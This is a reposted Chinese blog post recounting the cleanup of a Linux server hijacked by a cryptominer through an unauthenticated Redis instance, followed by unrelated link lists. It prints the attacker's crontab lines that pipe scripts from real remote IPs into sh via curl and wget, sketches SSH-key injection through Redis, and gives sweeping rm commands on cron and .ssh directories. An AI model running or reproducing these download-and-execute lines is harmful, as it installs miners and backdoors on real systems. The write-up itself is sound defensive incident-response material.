检查服务器资源的时候发现服务器的CPUC已经100%,而且是一直是这样,
最近三天的CPU使用率直方图
当前一个小时的直方图
18:15:00笔直下降的是我在处理后CPU的使用率情况
# top
top - 18:10:50 up 196 days, 18:59, 2 users, load average: 4.47, 4.21, 4.11
Tasks: 163 total, 1 running, 162 sleeping, 0 stopped, 0 zombie
%Cpu(s): 0.0 us, 1.6 sy, 98.4 ni, 0.0 id, 0.0 wa, 0.0 hi, 0.0 si, 0.0 st
KiB Mem : 16267972 total, 185160 free, 14179644 used, 1903168 buff/cache
KiB Swap: 0 total, 0 free, 0 used. 1689432 avail Mem
Which user (blank for all)
PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND
16634 root 20 0 541132 50260 0 S 400.0 0.3 78595:40 imWBR1
1 root 20 0 43296 2364 1112 S 0.0 0.0 52:21.51 systemd
根据CPU使用率排序,可以看到排行第一imWBR1的CPU使用率是400%,它的进程id是16634
# ps 16634
PID TTY STAT TIME COMMAND
16634 ? Ssl 78597:57 /tmp/imWBR1
可以看到它是从/tmp/imWBR1运行的
那么我们查看该目录下的执行文件
ls /tmp/
Aegis-<Guid(5A2C30A2-A87D-490A-9281-6765EDAD7CBA)>
ddg.2021
hsperfdata_root
mysql.sock
php-cgi.sock
sess_08bs7nf1rl24pem9ve5fbeg5a6
可以看到ddg.2021是绿色的,那么可以肯定它就是该程序的启动命令或者是守护程序
当我kill 16634后 它之后依然会出现在进程中,显然他是杀不死的,因此寻找命令有
ddg.2021会发现它也有一个自己的进程一直在跑
top之后看下图
#top
PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND
16634 root 20 0 541132 50260 0 S 399.3 0.3 78613:31 imWBR1
3195 root 20 0 8030128 1.647g 0 S 0.3 10.6 47:12.17 java
10111 root 20 0 1565408 71356 888 S 0.3 0.4 951:29.45 ddg.2021
看到ddg.2021的进程id是10111
那么先删除命令脚本,在杀死进程
rm -f /tmp/ddg.2021
kill -9 10111
kill -9 16634
是不这样就可以了呢,很可惜,我以为这样就可以了,但是它并没有啊,请看下面的图
显然它在15分钟后开始自启动了,接着大概在18:37分钟的时候它又开始工作了,重新开启399.7%CPU
进程情况如下
PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND
2791 root 20 0 541148 44416 1000 S 399.7 0.3 40:45.54 imWBR1
2607 root 20 0 310392 9268 5776 S 0.3 0.1 0:01.14 ddg.2021
4292 root 20 0 27768 1584 516 S 0.3 0.0 26:33.63 redis-server
7110 root 20 0 251348 16712 3072 S 0.3 0.1 181:11.61 AliYunDun
而/tmp目录中又出现了ddg.2021,而且还多了imWBR1
ls /tmp/
ddg.2021
hsperfdata_root
imWBR1
再次删除并杀掉进程
rm -f /tmp/ddg.2021 /tmp/imWBR1
kill -9 2791
kill -9 2607
可以肯定的是一点会有一个定时任务在不停的检测是否程序被杀死了,如果杀死了并且可执行文件也被删除了那么它就会自动下载源程序并且启动执行脚本。
根据参考文档我去/var/spool/cron这个文件夹看了下,事实就是如此,那么我们来看看它的定时任务内容
cat /var/spool/cron/crontabs/root
*/5 * * * * curl -fsSL http://218.248.40.228:8443/i.sh | sh
*/5 * * * * wget -q -O- http://218.248.40.228:8443/i.sh | sh
rm -fr /var/spool/cron/
2.删除ssh授权的公钥配置信息
rm -fr /root/.ssh/*
3.删除执行脚本和程序
在执行上面相似的方法
ps -aux|grep ddg
3458 /tmp/ddg.2021
kill -9 3458
ps -aux|grep imWBR1
3649 /tmp/imWBR1
kill -9 3649
rm -f /tmp/ddg.2021 /tmp/imWBR1
4.清空/etc/crontab中的定时任务
接着找定时任务,我在/etc/crontab找到一个,看ip就觉得有问题
cat /etc/crontab
REDIS0006▒cccccc@O
*/1 * * * * /usr/bin/curl -fsSLk 'http://104.161.63.57/install.curl' | sh
清空该定时任务
echo '' > /etc/crontab
从他们提供的ip中我们可以看到如下信息
两台服务器的地址都在国外:
第一个IP:218.248.40.228印度
第二个IP:104.161.63.57美国
第一个ip的8080端口开启了使用的是Apache Tomcat 6.0
第二个IP的80端口模仿Apache 的页面
两个脚本,第一个ip的脚步内容是下载挖矿程序并开启定时任务
第二个脚本则比较厉害了,直接关闭防火墙,并且把远程把远程的SSH公钥添加到author-key中了,这样你的机器基本就是裸机了
为什么会出现上面的情况,阿里云给出的原因如下
https://help.aliyun.com/knowledge_detail/37447.html
Redis 因配置不当存在未授权访问漏洞,可以被攻击者恶意利用。
在特定条件下,如果 Redis 以 root 身份运行,黑客可以给 root 账号写入 SSH 公钥文件,直接通过 SSH 登录受害服务器,从而获取服务器权限和数据。一旦入侵成功,攻击者可直接添加账号用于 SSH 远程登录控制服务器,给用户的 Redis 运行环境以及 Linux 主机带来安全风险,如删除、泄露或加密重要数据,引发勒索事件等。
受影响范围
在 Redis 客户端,尝试无账号登录 Redis:
root@kali:~# redis-cli -h 10.16.10.2
redis 10.16.10.2:6379=keys *
从登录结果可以看出,该 Redis 服务对公网开放,且未启用认证。
二.修复方案
请查看我的另一篇文章:Redis配置不当致使root被提权漏洞
http://blog.csdn.net/zjcjava/article/details/78558392
我只能说还好别人没有把你的系统资源给删除了,不然就哭去吧,说到这么多,公网的安全工作一定要做好,惊心动魄啊
清除wnTKYg 这个挖矿工木马的过程讲述
http://blog.sina.com.cn/s/blog_c08907b10102wyyl.html
Centos7被攻击做成YAM挖矿肉鸡
https://bbs.aliyun.com/simple/t285728.html
Original url: Access
Created at: 2018-11-21 11:36:14
Category: default
Tags: none
未标明原创文章均为采集,版权归作者所有,转载无需和我联系,请注明原出处,南摩阿彌陀佛,知识,不只知道,要得到
java windows火焰图_mob64ca12ec8020的技术博客_51CTO博客 - 在windows下不可行,不知道作者是怎样搞的 监听SpringBoot 服务启动成功事件并打印信息_监听springboot启动完毕-CSDN博客 SpringBoot中就绪探针和存活探针_management.endpoint.health.probes.enabled-CSDN博客 u2u转换板 - 嘉立创EDA开源硬件平台 Spring Boot 项目的轻量级 HTTP 客户端 retrofit 框架,快来试试它!_Java精选-CSDN博客 手把手教你打造一套最牛的知识笔记管理系统! - 知乎 - 想法有重合-理论可参考 安宇雨 闲鱼 机械键盘 客制化 开贴记录 文本 linux 使用find命令查找包含某字符串的文件_beijihukk的博客-CSDN博客_find 查找字符串 ---- mac 也适用 安宇雨 打字音 记录集合 B站 bilibili 自行搭建 开坑 真正的客制化 安宇雨 黑苹果开坑 查找工具包maven pom 引用地 工具网站 Dantelis 介绍的玩轴入坑攻略 --- 关于轴的一些说法 --- 非官方 ---- 心得而已 --- 长期开坑更新 [本人问题][新开坑位]关于自动化测试的工具与平台应用 机械键盘 开团 网站记录 -- 能做一个收集的程序就好了 不过现在没时间 -- 信息大多是在群里发的 - 你要让垃圾佬 都去一个地方看难度也是很大的 精神支柱 [超级前台]sprinbboot maven superdesk-app 记录 [信息有用] [环境准备] [基本完成] [sebp/elk] 给已创建的Docker容器增加新的端口映射 - qq_30599553的博客 - CSDN博客 [正在研究] Elasticsearch, Logstash, Kibana (ELK) Docker image documentation elasticsearch centos 安装记录 及 启动手记 正式服务器 39 elasticsearch 问题合集 不断更新 6.1.1 | 6.5.1 两个版本 博客程序 - 测试 - bug记录 等等问题 laravel的启动过程解析 - lpfuture - 博客园 OAuth2 Server PHP 用 Laravel 搭建带 OAuth2 验证的 RESTful 服务 | Laravel China 社区 - 高品质的 Laravel 和 PHP 开发者社区 利用Laravel 搭建oauth2 API接口 附 Unauthenticated 解决办法 - 煮茶的博客 - SegmentFault 思否 使用 OAuth2-Server-php 搭建 OAuth2 Server - 午时的海 - 博客园 基于PHP构建OAuth 2.0 服务端 认证平台 - Endv - 博客园 Laravel 的 Artisan 命令行工具 Laravel 的文件系统和云存储功能集成 浅谈Chromium中的设计模式--终--Observer模式 浅谈Chromium中的设计模式--二--pre/post和Delegate模式 浅谈Chromium中的设计模式--一--Chromium中模块分层和进程模型 DeepMind 4 Hacking Yourself README.md update 20211011
Laravel China 简书 知乎 博客园 CSDN博客 开源中国 Go Further Ryan是菜鸟 | LNMP技术栈笔记 云栖社区-阿里云 Netflix技术博客 Techie Delight Linkedin技术博客 Dropbox技术博客 Facebook技术博客 淘宝中间件团队 美团技术博客 360技术博客 古巷博客 - 一个专注于分享的不正常博客 软件测试知识传播 - 测试窝 有赞技术团队 阮一峰 语雀 静觅丨崔庆才的个人博客 软件测试从业者综合能力提升 - isTester IBM Java 开发 使用开放 Java 生态系统开发现代应用程序 pengdai 一个强大的博主 HTML5资源教程 | 分享HTML5开发资源和开发教程 蘑菇博客 - 专注于技术分享的博客平台 个人博客-leapMie 流星007 CSDN博客 - 舍其小伙伴 稀土掘金 Go 技术论坛 | Golang / Go 语言中国知识社区
最新评论